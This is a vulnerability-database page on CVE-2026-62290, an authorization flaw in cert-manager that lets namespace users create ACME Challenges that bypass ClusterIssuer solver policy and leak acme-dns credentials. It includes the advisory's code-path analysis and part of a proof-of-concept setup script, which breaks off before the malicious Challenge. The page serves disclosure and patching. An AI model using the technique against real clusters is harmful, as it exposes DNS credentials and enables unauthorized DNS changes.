Cert-manager: Incorrect Authorization (CVE-2026-62290)
Published Last modified Sources: OSV, CVE.org, Hersteller
What is affected, what to do
Update cert-manager to version 1.19.6, github.com/cert-manager/cert-manager to version 1.20.3.
- Affected
- Cert-manager
gte 1.18.0, < 1.19.6..*
- Cert-manager
Not sure whether and how you are affected? Ask a question about this vulnerability
Metrics
7.3
Priority
XIEM Effective CVSS: highest available CVSS rating from NVD and vendor data.
Source: NVD, CVSS v3
7.3
CVSS v3
Severity High on the scale from 0 to 10.
Source: OSV, CVE.org, Hersteller
0.1 %
EPSS score
Low — model estimates < 1% exploitation likelihood.
Source: FIRST EPSS, percentile 1.4
Show all metrics
- Severity
- High
Priority (0–325)
The priority score is a consolidated metric that condenses several individual signals into a single, action-guiding ranking: technical severity (CVSS), exploitation likelihood (EPSS), known-exploited status (KEV) and the context of the affected asset. The aim is to answer the only truly important question in vulnerability management: what first?
Read in glossary- 57.07 Methodology
Exploit maturity
An exploit is code or a technique that specifically uses a concrete vulnerability to force unintended behaviour — such as executing code or escalating privileges. It is the tool that turns a theoretical flaw into a practical attack.
Read in glossary- no public PoC known
XIEM Effective CVSS
XIEM® is the tiered managed-security operating model from NEOSEC and a registered trademark of NEOSEC GmbH. It extends classic SIEM — the central collection, normalisation and correlation of security-relevant events — with endpoint forensics, network visibility and deception technology, and consolidates them into three building tiers: Sentry, Orchestrate and Command.
Read in glossary- 7.3 Methodology
CVSS v3
CVSS is the globally established, open standard for assessing the technical severity of a vulnerability on a scale from 0 to 10. It describes how easily a flaw can be exploited and what damage it can cause — but not how likely its actual exploitation is. CVSS and the complementary EPSS deliberately answer different questions.
Read in glossary- 7.3
EPSS score
The EPSS score is the absolute model output for an individual vulnerability: the estimated probability of real-world exploitation within the next 30 days, expressed as a value between 0 and 1 (i.e. 0 % to 100 %). A score of 0.42 means „the model estimates a 42 % chance of real-world exploitation within 30 days“.
Read in glossary- 0.1 %
- Low — model estimates < 1% exploitation likelihood.
EPSS percentile
The EPSS percentile is the relative position of a vulnerability within all EPSS-scored CVEs, expressed as a value between 0 and 1. A percentile of 0.90 means „this CVE has a higher EPSS score than 90 % of all other scored CVEs“. Unlike the EPSS score, it is not a probability — but a positioning within a ranking.
Read in glossary- 1.4
- Low — this CVE sits in the lower 10% of all CVEs scored today.
KEV status
The KEV catalogue is a list maintained by the US authority CISA of vulnerabilities for which active exploitation in the wild has been confirmed. It answers not the question „how severe?“ but „is it already being attacked?“ — thereby sharply prioritising patching.
Read in glossary- —
- Published
- CISA assessment (SSVC)
- Exploitation: none known · not automatable · Technical impact: partial
- Source: CISA Vulnrichment, as of 18 July 2026
CWE
CWE is a catalogue of typical weakness types in software and hardware — such as flawed input validation, unsafe memory handling or poor authentication. Where a CVE names a concrete vulnerability in a concrete product, a CWE describes the underlying class of defect.
Read in glossary- CWE-863
Detection rules
No NEOSEC detection rule is available for this vulnerability yet.
Classification under NIS2 and CRA
Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.
NIS2
NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.
Read in glossary- High technical severity: assess and remediate the vulnerability in vulnerability handling under Art. 21(2)(e) NIS2 and document the decision.
CRA
The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.
Read in glossary- From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.
ISO/IEC 27001
ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.
Read in glossary- Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.
Description
Summary
Challenge resources under acme.cert-manager.io can be created directly by namespace users. On create, cert-manager performs no admission validation tying the Challenge to an Order, an owner reference, or an Issuer-selected solver. The ACME Challenge controller then reconciles the direct resource and uses Challenge.spec.solver as the DNS01 provider configuration.
When the direct Challenge references a ClusterIssuer, cert-manager derives the DNS provider secret namespace and ambient-credential policy from the ClusterIssuer reference, but the DNS provider configuration itself is attacker-controlled through Challenge.spec.solver. This lets a namespace user bypass Issuer/ClusterIssuer solver selectors such as dnsZones, dnsNames, and matchLabels, and make the cert-manager controller use ClusterIssuer DNS credentials for attacker-selected provider settings and DNS names.
In the acme-dns case, this becomes credential disclosure because the attacker-controlled solver host receives the X-Api-User and X-Api-Key headers loaded by cert-manager from the ClusterIssuer resource namespace.
Attack preconditions
- The attacker can create
challenges.acme.cert-manager.ioresources in at least one namespace. - The cert-manager controller is running and reconciles ACME
Challengeresources cluster-wide. - A usable
ClusterIssuerexists in the cluster. - The referenced
ClusterIssuerhas a DNS01 solver that uses a Secret in the cluster resource namespace, or relies on ambient credentials enabled forClusterIssuer. - The cluster is multi-tenant or otherwise separates namespace users from platform-owned Issuer/ClusterIssuer and DNS credential administration.
Severity
Rationale: a tenant with namespace-level ACME Challenge create permissions, including permissions granted by cert-manager's aggregate edit role, can cause a cluster-scoped controller to use DNS credentials or ambient cloud credentials outside the Issuer's intended solver policy. With acme-dns specifically, this can disclose the referenced acme-dns account credential to an attacker-controlled endpoint. With other DNS providers, the impact is credential use, Issuer policy bypass, and unauthorized DNS mutation risk unless a provider-specific credential disclosure path is separately demonstrated.
Why this is not just RBAC misconfiguration
cert-manager's documented end-user workflow does not require users to manually create Challenge resources. Challenges are internal ACME workflow objects generated from Orders after cert-manager has selected a solver from the referenced Issuer or ClusterIssuer. If default or aggregate roles grant namespace users permission to create these resources, the controller still should not treat a user-controlled Challenge.spec.solver as authoritative for a referenced ClusterIssuer.
The security boundary is the Issuer/ClusterIssuer solver policy and credential configuration. Direct Challenge creation bypasses that boundary because the controller derives credential namespace and ambient credential permission from issuerRef, while accepting the DNS provider configuration from the untrusted Challenge object.
Affected components
- ACME Challenge admission validation
- ACME Challenge controller
- DNS01 solver selection and DNS provider construction
- Default aggregate RBAC for
challenges.acme.cert-manager.io
Affected versions tested
The issue was reproduced on:
mastercommit2c0f1a6a4- latest production release
v1.20.2commite5b7b1845 v1.19.5commitcda7b7896v1.18.6commit4699caabb
See VERSION_TEST_MATRIX.md for the command matrix and outputs.
Technical details
Relevant code paths:
internal/apis/acme/validation/challenge.go:44-45:ValidateChallengereturns no errors on create.deploy/crds/acme.cert-manager.io_challenges.yaml:spec.solveris a required user-controlled field onChallenge.pkg/controller/acmechallenges/scheduler/scheduler.go:51-58: scheduler lists all Challenges.pkg/controller/acmechallenges/controller.go:180-197: scheduler setsstatus.processing=true.pkg/controller/acmechallenges/sync.go:139-183: controller loads the referenced Issuer and then presents the Challenge.pkg/issuer/acme/dns/dns.go:81: DNS solverPresentignores the issuer object argument.pkg/issuer/acme/dns/dns.go:180-187: DNS provider config and resource namespace are derived fromChallenge.spec.pkg/controller/helper.go:39-44:ClusterIssuerreferences use the cluster resource namespace.pkg/controller/helper.go:66-72: ambient credentials are allowed based onissuerRef.kind.internal/apis/config/controller/v1alpha1/defaults.go:68-69: ClusterIssuer ambient credentials default to enabled.deploy/charts/cert-manager/templates/rbac.yaml:517-519: the aggregate edit role can create/updatechallengesandorders.
The normal Order flow selects a solver from the Issuer:
pkg/util/solverpicker/solverpicker.go: solver selectors are evaluated.pkg/controller/acmeorders/util.go:94-106: solvers are fetched from the Issuer and selected.pkg/controller/acmeorders/util.go:131-142: the selected solver is copied into the generated Challenge.
The direct Challenge flow skips that selection entirely because the direct object already contains a solver.
Proof of concept
PoC A: low-privileged namespace user can persist a direct ClusterIssuer Challenge
The following script starts k3s in Docker, installs only the relevant CRDs, creates a platform-owned ClusterIssuer, creates a namespace user with Challenge create permission but no secret or ClusterIssuer read permission, and creates a direct DNS01 Challenge referencing that ClusterIssuer and a cluster resource namespace secret.
The ClusterIssuer is configured to use a legitimate acme-dns host for victim.example.com. The direct Challenge uses that same DNS name, but replaces the acme-dns host with an attacker-controlled endpoint. This demonstrates credential disclosure without relying on an out-of-policy DNS name.
A broader DNS policy-bypass variant is also possible when the referenced credential or ambient provider can operate on the attacker-selected DNS name. In that case, the same direct Challenge path bypasses the Issuer/ClusterIssuer solver selectors and provider configuration.
Run from the cert-manager repository root:
set -euo pipefail
name=cm-direct-challenge-poc
docker rm -f "$name" >/dev/null 2>&1 || true
docker run -d --name "$name" --privileged -v "$PWD":/repo rancher/k3s:v1.33.4-k3s1 \
server --disable=traefik --disable=servicelb --write-kubeconfig-mode=644 >/dev/null
cleanup() {
docker rm -f "$name" >/dev/null 2>&1 || true
}
trap cleanup EXIT
for i in $(seq 1 90); do
docker exec "$name" kubectl get --raw=/readyz >/dev/null 2>&1 && break
sleep 2
done
docker exec "$name" kubectl apply -f /repo/deploy/crds/cert-manager.io_clusterissuers.yaml >/dev/null
docker exec "$name" kubectl apply -f /repo/deploy/crds/acme.cert-manager.io_challenges.yaml >/dev/null
docker exec "$name" kubectl create ns tenant >/dev/null
docker exec "$name" kubectl create ns cert-manager >/dev/null
docker exec "$name" kubectl -n tenant create sa bob >/dev/null
docker exec "$name" kubectl -n cert-manager create secret generic cluster-acmedns-account \
--from-literal=accounts.json='{"victim.example.com":{"username":"victim-user","password":"victim-pass","fulldomain":"x.example.org","subdomain":"x"}}' >/dev/null
docker exec -i "$name" kubectl apply -f - >/dev/null <<'YAML'
apiVersion: cert-manager.io/v1
kind: ClusterIssuer
metadata:
name: cluster-prod
spec:
acme:
email: admin@example.com
server: https://acme-staging-v02.api.letsencrypt.org/directory
privateKeySecretRef:
name: cluster-prod-account-key
solvers:
- selector:
dnsZones:
- victim.example.com
dns01:
acmeDNS:
host: https://legit-acmedns.example
Source: OSV (Open Source Vulnerabilities), NVD (NIST), cvelistv5, CVE.org (MITRE), GitHub Security Advisories
Affected products
The following versions are affected. Older releases of the same product line are also vulnerable unless stated otherwise.
| Affected versions | Fixed in | ||
|---|---|---|---|
| cert-manager | cert-manager |
|
|
| linuxfoundation | cert-manager |
|
|
| go | github.com/cert-manager/cert-manager |
|
|
Vendors and products
Weakness classes (CWE)
CWE-863Incorrect Authorization
Class
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
Entry at MITRE CWE-863
References & sources
- github.comcert-manager/cert-manager/commit/6bda47297c8fbc6b121b8b76624b66…web, x_refsource_MISC
- github.comcert-manager/cert-manager/commit/b37dbf01ecea50a0b3a19df0a7fe4c…web, x_refsource_MISC
- github.comcert-manager/cert-manager/pull/8940web, x_refsource_MISC
- github.comcert-manager/cert-manager/pull/8941web, x_refsource_MISC
- github.comcert-manager/cert-manager/releases/tag/v1.19.6web, x_refsource_MISC
- github.comcert-manager/cert-manager/releases/tag/v1.20.3web, x_refsource_MISC
- github.comcert-manager/cert-manager/security/advisories/GHSA-8rvj-mm4h-c2…web, x_refsource_CONFIRM
- NVD (NIST)vuln/detail/CVE-2026-62290web, advisory
- github.comcert-manager/cert-managerpackage
Changes to this CVE
Who changed this CVE and when: NVD (analysis, affected products, CVSS), the CVE publisher (CNA) and additional providers such as CISA (ADP).
Initial analysis by NVDNVD
Newly listed as affected:- Harbor The Linux Foundation cert-manager (1.18.0 – before 1.19.6; 1.20.0 – before 1.20.3)
New references:- https://github.com/cert-manager/cert-manager/commit/6bda47297c8fbc6b121b8b76624b668d26f1a155
- https://github.com/cert-manager/cert-manager/commit/b37dbf01ecea50a0b3a19df0a7fe4c5ad6803f16
- https://github.com/cert-manager/cert-manager/pull/8940
- https://github.com/cert-manager/cert-manager/pull/8941
and 3 more references
Show 9 original changes
Individual changes of this event as published by NVD Type Action Before After Product configuration added —OR *cpe:2.3:a:linuxfoundation:cert-manager:*:*:*:*:*:*:*:* versions from (including) 1.18.0 up to (excluding) 1.19.6 *cpe:2.3:a:linuxfoundation:cert-manager:*:*:*:*:*:*:*:* versions from (including) 1.20.0 up to (excluding) 1.20.3Reference type added —GitHub, Inc.: https://github.com/cert-manager/cert-manager/commit/6bda47297c8fbc6b121b8b76624b668d26f1a155 Types: PatchReference type added —GitHub, Inc.: https://github.com/cert-manager/cert-manager/commit/b37dbf01ecea50a0b3a19df0a7fe4c5ad6803f16 Types: PatchReference type added —GitHub, Inc.: https://github.com/cert-manager/cert-manager/pull/8940 Types: Issue Tracking, PatchReference type added —GitHub, Inc.: https://github.com/cert-manager/cert-manager/pull/8941 Types: Issue Tracking, PatchReference type added —GitHub, Inc.: https://github.com/cert-manager/cert-manager/releases/tag/v1.19.6 Types: Product, Release NotesReference type added —GitHub, Inc.: https://github.com/cert-manager/cert-manager/releases/tag/v1.20.3 Types: Product, Release NotesReference type added —GitHub, Inc.: https://github.com/cert-manager/cert-manager/security/advisories/GHSA-8rvj-mm4h-c258 Types: Exploit, Mitigation, Vendor AdvisoryReference type added —CISA-ADP: https://github.com/cert-manager/cert-manager/security/advisories/GHSA-8rvj-mm4h-c258 Types: Exploit, Mitigation, Vendor AdvisorySource identifier: nvd@nist.gov
Embed badge
Show the severity and KEV status of this vulnerability on your site – with a link back here. The image is updated hourly.
<a href="https://intel.neosec.eu/en/cve/CVE-2026-62290"><img src="https://intel.neosec.eu/badge/cve/CVE-2026-62290.svg?lang=en" alt="CVE-2026-62290 – NEOSEC Intel" height="20"></a>